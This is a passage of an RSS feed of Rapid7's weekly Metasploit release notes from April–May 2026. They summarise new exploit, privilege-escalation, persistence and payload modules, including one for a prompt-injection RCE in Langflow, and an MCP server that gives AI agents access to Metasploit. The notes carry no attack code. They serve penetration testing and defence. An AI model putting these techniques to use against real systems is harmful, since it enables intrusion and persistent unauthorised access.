<a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-05-08-2026</link>
      <guid isPermaLink="false">blte9c10b3abc885b35</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Alan David Foster]]></dc:creator>
      <pubDate>Fri, 08 May 2026 18:26:10 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 05/01/2026]]></title>
      <description><![CDATA[<h2>MCP server</h2><p>This release our very own <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> finished implementing the Metasploit MCP Server (msfmcpd), bringing Model Context Protocol support to Metasploit Framework. MCP lets AI applications like Claude, Cursor, or your own custom agents query Metasploit data. Think of it as a middleware layer that exposes 8 standardized tools for searching modules and pulling reconnaissance data, all built on the official <a href="https://github.com/modelcontextprotocol/ruby-sdk/">Ruby MCP SDK</a>.</p><p>This first iteration is read-only, covering modules, hosts, services, vulnerabilities, and more. Tools for module execution, session interaction, and database modifications are on the roadmap for a future release. Full details are available in the <a href="https://cdelafuente-r7.github.io/metasploit-framework/docs/using-metasploit/other/how-to-use-metasploit-mcp-server.html">documentation</a>.</p><h2>Copy Fail</h2><p>Earlier this week, details of a new and high profile Linux LPE were released alongside a public PoC. The bug, nicknamed <a href="https://copy.fail/">Copy Fail</a> and identified by <a href="https://attackerkb.com/search?q=CVE-2026-31431&amp;referrer=blog">CVE-2026-31431</a>, is a logic flaw in the cryptographic APIs exposed by the Linux Kernel. Metasploit has shipped a local exploit this week to leverage the flaw on AMD64 and AARCH64 targets with additional architectures planned for future releases. The exploit, which replaces the ‘su’ binary in the page cache with a small ELF file, allows users to specify command payloads for execution and will automatically determine the appropriate target architecture.</p><h2>New module content (3)</h2><h3>Microsoft Windows HTTP to LDAP Relay</h3><p>Author: jheysel-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21323">#21323</a> contributed by <a href="https://github.com/jheysel-r7">jheysel-r7</a></p><p>Path: server/relay/http_to_ldap</p><p>Description: This adds a new NTLM relay module that relays from HTTP to LDAP. On success, an authenticated LDAP session is opened which allows the operator to interact with the LDAP service in the context of the relayed identity.</p><h3>Copy Fail AF_ALG + authencesn Page-Cache Write</h3><p>Authors: Diego Ledda, Spencer McIntyre, Xint Code, and rootsecdev</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21395">#21395</a> contributed by <a href="https://github.com/zeroSteiner">zeroSteiner</a></p><p>Path: linux/local/cve_2026_31431_copy_fail</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-31431&amp;referrer=blog">CVE-2026-31431</a></p><p>Description: Adds a module for CVE-2026-31431 (The Copy Fail LPE for Linux), a local privilege escalation affecting almost every Linux Kernel since 2017.</p><h3>Linux Execute Command</h3><p>Author: Spencer McIntyre</p><p>Type: Payload (Single)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21395">#21395</a> contributed by <a href="https://github.com/zeroSteiner">zeroSteiner</a></p><p>Path: linux/aarch64/exec</p><p>Description: Adds a module for CVE-2026-31431 (The Copy Fail LPE for Linux), a local privilege escalation affecting almost every Linux Kernel since 2017.</p><p></p><h2>Enhancements and features (5)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21315">#21315</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This adds a read-only MCP server for Metasploit capable of retrieving information from the loaded modules and database.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21352">#21352</a>, <a href="https://github.com/rapid7/metasploit-framework/pull/21353">#21353</a>, <a href="https://github.com/rapid7/metasploit-framework/pull/21355">#21355</a>, <a href="https://github.com/rapid7/metasploit-framework/pull/21359">#21359</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Improves multiple module check code messages and statuses.</li></ul><h2>Bugs fixed (0)</h2><p>None</p><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-04-24T18%3A36%3A28%2B01%3A00..2026-04-30T22%3A30%3A05Z%22">Pull Requests 6.4.130...6.4.131</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.130...6.4.131">Full diff 6.4.130...6.4.131</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-05-01-2026</link>
      <guid isPermaLink="false">bltcf289d0bd2b6705a</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Christopher Granleese]]></dc:creator>
      <pubDate>Fri, 01 May 2026 20:22:54 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7464fe659cab8a01/6852c358419e54d8e21c3458/blog-metasploit-wrap-up-.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 04/25/2026]]></title>
      <description><![CDATA[<h2>Check Method Visibility</h2><p>Metasploit has supported check methods for many years now. It’s not always desirable to jump straight into exploiting a vulnerability but instead to determine if the target is vulnerable. Metasploit tries to be very conservative with classifying a target as “vulnerable” unless the vulnerability is leveraged as part of the check method, reserving the “appears” status for version checks. The different check codes a module is capable of returning and the logic to select among them varies from exploit to exploit and is not always the easiest to understand. Aligning with the consistent feedback that Metasploit has received that module actions should be more transparent, <a href="https://github.com/adfoster-r7">adfoster-r7</a> has been adding reasoning information en masse to the check codes returned by a variety of exploits. This information will help users understand why a particular vulnerability status was determined, making troubleshooting efforts easier and increasing confidence in the results.</p><h2>Legacy SMB Improvements</h2><p>This week, community member <a href="https://github.com/g0tm1lk">g0tm1lk</a> made multiple improvements for legacy and non-Windows SMB targets. Version information is now more reliably extracted from targets running SMB 1, and a variety of minor bugs were fixed across multiple modules that would have affected users targeting systems the module was not intended to target as is often the case when the module is used to scan an entire network.</p><h2>New module content (4)</h2><h3>Camaleon CMS Directory Traversal CVE-2024-46987</h3><p>Authors: Goultarde, Peter Stockli, and bootstrapbool</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21122">#21122</a> contributed by <a href="https://github.com/bootstrapbool">bootstrapbool</a></p><p>Path: gather/camaleon_download_private_file</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2024-46987&amp;referrer=blog">CVE-2024-46987</a></p><p>Description: This adds an auxiliary module to exploit an arbitrary file vulnerability, CVE-2024-46987, on Camaleon CMS &gt;= 2.8.0 as well as 2.9.0.</p><h3>Langflow RCE</h3><p>Authors: Takahiro Yokoyama and weblover12</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21260">#21260</a> contributed by <a href="https://github.com/Takahiro-Yoko">Takahiro-Yoko</a></p><p>Path: multi/http/langflow_rce_cve_2026_27966</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-27966&amp;referrer=blog">CVE-2026-27966</a></p><p>Description: Adds exploit module for CVE-2026-27966, a prompt injection RCE vulnerability in Langflow &lt; 1.8.0. By creating and sending a specially-crafted flow containing python code, the LangChain will execute that code because LangChain's Read-Eval-Print Loop (REPL) is exposed by default and runs any Python code it is given.</p><h3>WebDAV PHP Upload</h3><p>Authors: g0tmi1k and theLightCosine <a href="mailto:theLightCosine@metasploit.com">theLightCosine@metasploit.com</a></p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21256">#21256</a> contributed by <a href="https://github.com/g0tmi1k">g0tmi1k</a></p><p>Path: multi/http/webdav_upload_php</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2012-10062&amp;referrer=blog">CVE-2012-10062</a></p><p>Description: Updates code and adds features: Linux support, check() method, and cleanup after exploit.</p><h3>Linux Chmod</h3><p>Author: bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Single)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21238">#21238</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Path: linux/loongarch64/chmod</p><p>Description: Adds a new linux/loongarch64/chmod payload to change the permissions of a specified file.</p><h2>Enhancements and features (11)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21019">#21019</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This adds support for phpMyAdmin v3.1.x to the phpMyAdmin Config File Code Injection module (CVE-2009-1285). This also adds a check method.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21230">#21230</a> from <a href="https://github.com/bcoles">bcoles</a> - Reduces the memory footprint of the module metadata cache in Metasploit.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21231">#21231</a> from <a href="https://github.com/bcoles">bcoles</a> - Improves the performance of the module metadata cache as well as bug fixes.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21232">#21232</a> from <a href="https://github.com/bcoles">bcoles</a> - Add a method to discover writable directories on Unix targets using the find command.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21256">#21256</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Updates code and adds features: Linux support, check() method, and cleanup after exploit.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21347">#21347</a></li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21327">#21327</a> from <a href="https://github.com/tair-m">tair-m</a> - Fixes a crash when loading HTTP modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21341">#21341</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This fixes multiple issues related to various SMB modules when targeting Samba.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21344">#21344</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a bug when running the check method for scanner/http/elasticsearch_traversal against non-vulnerable targets.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21346">#21346</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a false positive that was present in auxiliary/scanner/couchdb/couchdb_enum.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-04-16T14%3A22%3A51%2B01%3A00..2026-04-23T14%3A54%3A17Z%22">Pull Requests 6.4.128...6.4.129</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.128...6.4.129">Full diff 6.4.128...6.4.129</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-04-25-2026</link>
      <guid isPermaLink="false">blt12964a24f30af456</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Spencer McIntyre]]></dc:creator>
      <pubDate>Fri, 24 Apr 2026 20:17:56 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 04/17/2026]]></title>
      <description><![CDATA[<h2>Happy Friday - Seven New Metasploit Modules</h2><p>We’re happy to announce that Metasploit Framework had a big week, landing seven new modules alongside various bug fixes and enhancements. This week’s highlights include RCE modules targeting AVideo, openDCIM, Selenium Grid/Selenoid, and ChurchCRM. On the post-exploitation side, Windows saw three new persistence techniques added as modules, targeting Telemetry scheduled tasks, PowerShell profiles, and Microsoft BITS.</p><p>What a time to be alive as a Metasploit user! We wish you all a wonderful weekend and happy hacking.</p><h2>New module content (7)</h2><h3>AVideo Unauthenticated SQL Injection Credential Dump</h3><p>Authors: Valentin Lobstein <a href="mailto:chocapikk@leakix.net">chocapikk@leakix.net</a> and arkmarta</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21075">#21075</a> contributed by <a href="https://github.com/Chocapikk">Chocapikk</a></p><p>Path: gather/avideo_catname_sqli</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-28501&amp;referrer=blog">CVE-2026-28501</a></p><p>Description: Adds an auxiliary module for CVE-2026-28501, an unauthenticated SQL injection in AVideo &lt;= 22.0, along with a new BenchmarkBasedBlind SQLi mixin class and blind extraction improvements.</p><h3>openDCIM install.php SQL Injection to RCE</h3><p>Author: Valentin Lobstein <a href="mailto:chocapikk@leakix.net">chocapikk@leakix.net</a></p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21034">#21034</a> contributed by <a href="https://github.com/Chocapikk">Chocapikk</a></p><p>Path: linux/http/opendcim_install_sqli_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-28517&amp;referrer=blog">CVE-2026-28517</a></p><p>Description: This PR adds a new exploit module for openDCIM that chains three vulnerabilities (<a href="https://github.com/advisories/GHSA-mg2w-x76x-59h8">https://github.com/advisories/GHSA-mg2w-x76x-59h8</a>, <a href="https://github.com/advisories/GHSA-prmh-rp39-qc4m">https://github.com/advisories/GHSA-prmh-rp39-qc4m</a>, <a href="https://github.com/advisories/GHSA-428h-8xhf-g3cw">https://github.com/advisories/GHSA-428h-8xhf-g3cw</a>) to achieve remote code execution.</p><h3>Selenium Grid/Selenoid Unauthenticated RCE</h3><p>Authors: Jon Stratton, Takahiro Yokoyama, Valentin Lobstein <a href="mailto:chocapikk@leakix.net">chocapikk@leakix.net</a>, and Wiz Research</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21003">#21003</a> contributed by <a href="https://github.com/Chocapikk">Chocapikk</a></p><p>Path: linux/http/selenium_greed_rce</p><p>Description: This replaces the two separate Selenium Grid RCE modules (Chrome and Firefox) with a single unified module that auto-detects available browsers and selects the best attack vector. The module targets unauthenticated Selenium Grid and Selenoid instances, supporting two techniques: a Firefox profile handler injection that works on all Grid versions including the latest (never patched since 2021), and a Chrome binary override for Grid versions prior to 4.11.0 and all Selenoid versions. No authentication is required.</p><h3>ChurchCRM Database Restore RCE 6.2.0</h3><p>Author: LucasCsmt</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21095">#21095</a> contributed by <a href="https://github.com/LucasCsmt">LucasCsmt</a></p><p>Path: multi/http/churchcrm_db_restore_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2025-68109&amp;referrer=blog">CVE-2025-68109</a></p><p>Description: Adds a new exploit module for CVE-2025-68109, targeting a file upload vulnerability inside ChurchCRM leading to an RCE. This module will work on version 6.2.0 of ChurchCRM and earlier.</p><h3>Windows Persistence Bits Job</h3><p>Author: h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20839">#20839</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: windows/persistence/bits</p><p>Description: This adds a new persistence module that uses Microsoft Bits to maintain access to the system.</p><h3>Powershell Profile Persistence</h3><p>Author: madefourit</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20933">#20933</a> contributed by <a href="https://github.com/madefourit">madefourit</a></p><p>Path: windows/persistence/powershell_profile</p><p>Description: This adds a new persistence module that uses powershell profiles to maintain access.</p><h3>Windows Telemetry Persistence</h3><p>Author: h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20843">#20843</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: windows/persistence/telemetry</p><p>Description: Adds a new persistence module, exploit/windows/persistence/telemetry, that abuses the Windows Telemetry scheduled task (Microsoft Compatibility Appraiser / CompatTelRunner) to establish persistence. The module writes a payload to disk and configures the telemetry task to execute it, resulting in a SYSTEM-level Meterpreter session either on the next scheduled run or immediately on demand. Requires an admin-level Meterpreter session on the target.</p><h2>Enhancements and features (11)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21078">#21078</a> from <a href="https://github.com/Chocapikk">Chocapikk</a> - Adds multiple improvements to the multi/http/churchcrm_install_unauth_rce module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21085">#21085</a> from <a href="https://github.com/dledda-r7">dledda-r7</a> - This refactors the Block API code used by Windows payloads to leverage a new version of the hashing algorithm. This also fixes a bug whereby the MaximumLength field was used when calculating UNICODE_STRING names when it should have been the Length field.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21236">#21236</a> from <a href="https://github.com/bcoles">bcoles</a> - Add riscv64le and riscv32le architecture support to the fileless fetch payload adapter. This enables in-memory ELF execution via memfd_create on RISC-V Linux targets without writing to disk.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21252">#21252</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Adds a new with_adcs_certificate_request method that now used by both the MsIcpr and WebEnrollment mixins that abstracts away the enrollment process and takes a block that performs the actual request. The result is consolidation of messages, post-processing of the successfully issued certificate.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21255">#21255</a> from <a href="https://github.com/mxnvel">mxnvel</a> - This updates two Python payloads (cmd/unix/reverse_python and cmd/unix/reverse_python_ssl) to make the PythonPath option optional. When omitted, it defaults to a shim that will determine the appropriate version of Python at runtime using a small bash expression.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21275">#21275</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds multiple improvements to the cve_2025_14847_mongobleed module, such as adding new a dedicated check method, improved compression support detection as only zlib can be exploited, and resolving other false positives.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21286">#21286</a> from <a href="https://github.com/Hemang360">Hemang360</a> - Adds a cleanup keyword argument to Msf::Post::File#mkdir so callers can skip automatic directory cleanup registration. It is very useful for when we create directories in persistence modules and want the directory to remain.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21289">#21289</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Updates the db.hosts RPC call to now additionally include the comments associated with the host.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21291">#21291</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Updates the module.info RPC call to now additionally include the notes associated with the module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21304">#21304</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Improves multiple auxiliary module check code messages and statuses.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21027">#21027</a> from <a href="https://github.com/SilentSobs">SilentSobs</a> - Fixes ELF shared object (elf-so) payload generation failing on 32-bit ARM Linux and RISC-V 32-bit LE targets. The _start entry point in the ARM LE template was landing at a non-word-aligned offset, which violates the architecture's 4-byte alignment requirement and caused the shared object to fail to load. The templates now use proper NASM align directives to ensure correct entry point alignment, and a similar fix is applied to the RISC-V 32-bit LE template.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21268">#21268</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a crash with a small number of auxiliary modules when the check method was run and the vulnerability wasn't present.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21287">#21287</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Fixes the EXE templates that were rebuilt in <a href="https://github.com/rapid7/metasploit-framework/pull/20502">https://github.com/rapid7/metasploit-framework/pull/20502</a> to work on legacy Windows targets like Server 2000 in case you find yourself in a combination hacking and time-travelling movie.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21309">#21309</a> from <a href="https://github.com/sfewer-r7">sfewer-r7</a> - Fixes a false positive in the fortinet_fortiweb_create_admin module when detecting the presence of an authentication bypass via path traversal vulnerability in the Fortinet FortiWeb management interface.</li></ul><h2>Documentation added (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20843">#20843</a> from <a href="https://github.com/h00die">h00die</a> - Adds a new persistence module, exploit/windows/persistence/telemetry, that abuses the Windows Telemetry scheduled task (Microsoft Compatibility Appraiser / CompatTelRunner) to establish persistence. The module writes a payload to disk and configures the telemetry task to execute it, resulting in a SYSTEM-level Meterpreter session either on the next scheduled run or immediately on demand. Requires an admin-level Meterpreter session on the target.</li></ul><p>You can always find more documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-04-08T15%3A01%3A17Z..2026-04-16T14%3A22%3A51%2B01%3A00%22">Pull Requests 6.4.126...6.4.128</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.126...6.4.128">Full diff 6.4.126...6.4.128</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-04-17-2026</link>
      <guid isPermaLink="false">bltfbdf377c52786428</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Jack Heysel]]></dc:creator>
      <pubDate>Fri, 17 Apr 2026 20:35:42 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 04/10/2026]]></title>
      <description><![CDATA[<h2>Speedup Improvements of MSFVenom & New Modules</h2><p>This week, we have added new modules to Metasploit Framework targeting Cisco Catalyst SD-WAN controllers and osTicket as well as updates and improvements to Windows service-for-user persistence, and LDAP/ADCS-related modules to automatically report related services resulting in an improved data stream, which can be queried by using the services command.</p><p>We also landed an improvement to msfvenom’s bootup time, thanks to <a href="https://github.com/bcoles">bcoles</a>, resulting in an approximate two-times speedup.</p><h2>New module content (4)</h2><h3>AD/CS Authenticated Web Enrollment Services Module</h3><p>Authors: Spencer McIntyre, bwatters-r7, and jhicks-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20752">#20752</a> contributed by <a href="https://github.com/bwatters-r7">bwatters-r7</a></p><p>Path: admin/http/web_enrollment_cert</p><p>Description: This adds a new auxiliary/admin/http/web_enrollment_cert modules that allows certificates to be issued from an Active Directory Certificate Services Web Enrollment portal. Its usage is the same as the auxiliary/admin/http/icpr_cert module but enables operators to issue certificates when the web enrollment portal is accessible but the MS-ICPR service is not.</p><h3>Cisco Catalyst SD-WAN Controller Authentication Bypass</h3><p>Author: sfewer-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21158">#21158</a> contributed by <a href="https://github.com/sfewer-r7">sfewer-r7</a></p><p>Path: admin/networking/cisco_sdwan_auth_bypass</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-20127&amp;referrer=blog">CVE-2026-20127</a></p><p>Description: This adds an auxiliary module to exploit an authentication bypass vulnerability, CVE-2026-20127, affecting Cisco Catalyst SD-WAN Controller. Recently exploited in the wild as a zero-day.</p><h3>osTicket Arbitrary File Read via PHP Filter Chains in mPDF</h3><p>Authors: Arkaprabha Chakraborty &lt;@t1nt1nsn0wy&gt; and HORIZON3.ai Team</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20948">#20948</a> contributed by <a href="https://github.com/ArkaprabhaChakraborty">ArkaprabhaChakraborty</a></p><p>Path: gather/osticket_arbitrary_file_read</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-22200&amp;referrer=blog">CVE-2026-22200</a></p><p>Description: This adds an auxiliary module to exploit, CVE-2026-22200, an authenticated file read vulnerability in osTicket.</p><h3>Windows Service for User (S4U) Scheduled Task Persistence - Event Trigger</h3><p>Authors: Brandon McCann "zeknox" <a href="mailto:bmccann@accuvant.com">bmccann@accuvant.com</a>, Thomas McCarthy "smilingraccoon" <a href="mailto:smilingraccoon@gmail.com">smilingraccoon@gmail.com</a>, and h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20814">#20814</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: windows/persistence/service_for_user/event</p><p>Description: Updates the Windows service-for-user persistence technique.</p><h2>Enhancements and features (7)</h2><ul><li><p><a href="https://github.com/rapid7/metasploit-framework/pull/20814">#20814</a> from <a href="https://github.com/h00die">h00die</a> - Updates the Windows service-for-user persistence technique.</p></li><li><a href="https://github.com/rapid7/metasploit-framework/pull/20973">#20973</a> from <a href="https://github.com/bitstr3m-48">bitstr3m-48</a> - This release enables command execution for non-interactive HWBridge sessions via the sessions -c flag. Additionally, the hwbridge/connect module now preserves parsed JSON error bodies from failed HTTP responses, which improves error messaging.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/20977">#20977</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This updates the exploit/unix/webapp/php_eval module to have a FORMDATA datastore option, which adds HTTP POST-request support and makes the HEADERS datastore option consistent with other modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/20979">#20979</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This updates the exploit/unix/webapp/php_include module with additional datastore options and make its usage more consistent with the similar exploit/unix/webapp/php_eval module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21031">#21031</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Enhances the Metasploit’s LDAP/ADCS-related modules to automatically report related services (LDAP, DCERPC/ICertPassage/ADCS CA) and to improve vulnerability reporting by associating findings with the affected LDAP object’s DN (and, for ADCS template findings, the template name) so results are uniquely keyed and easier to interpret.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21143">#21143</a> from <a href="https://github.com/SaiSakthidar">SaiSakthidar</a> - This bumps the Metasploit payloads to include changes that enable the PHP Meterpreter to open TCP server sockets. This enables operators to listen for inbound connections on compromised hosts and closes a feature gap between PHP and the other Meterpreters.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21229">#21229</a> from <a href="https://github.com/bcoles">bcoles</a> - This updates the msfvenom utility to use the metadata cache. The result is roughly 2x faster execution times when listing modules</li></ul><h2>Bugs fixed (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21153">#21153</a> from <a href="https://github.com/Nayeraneru">Nayeraneru</a> - This fixes an issue with some mutable constant datastore options. Using shared options like CHOST or CPORT are not changing visibility across modules anymore.</li></ul><h2>Documentation added (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21221">#21221</a> from <a href="https://github.com/cgranleese-r7">cgranleese-r7</a> - This PR improves module_doc_template.md with examples to better guide contributors.</li></ul><p>You can always find more documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-04-02T10%3A24%3A13Z..2026-04-08T15%3A01%3A17Z%22">Pull Requests 6.4.125...6.4.126</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.125...6.4.126">Full diff 6.4.125...6.4.126</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-04-10-2026</link>
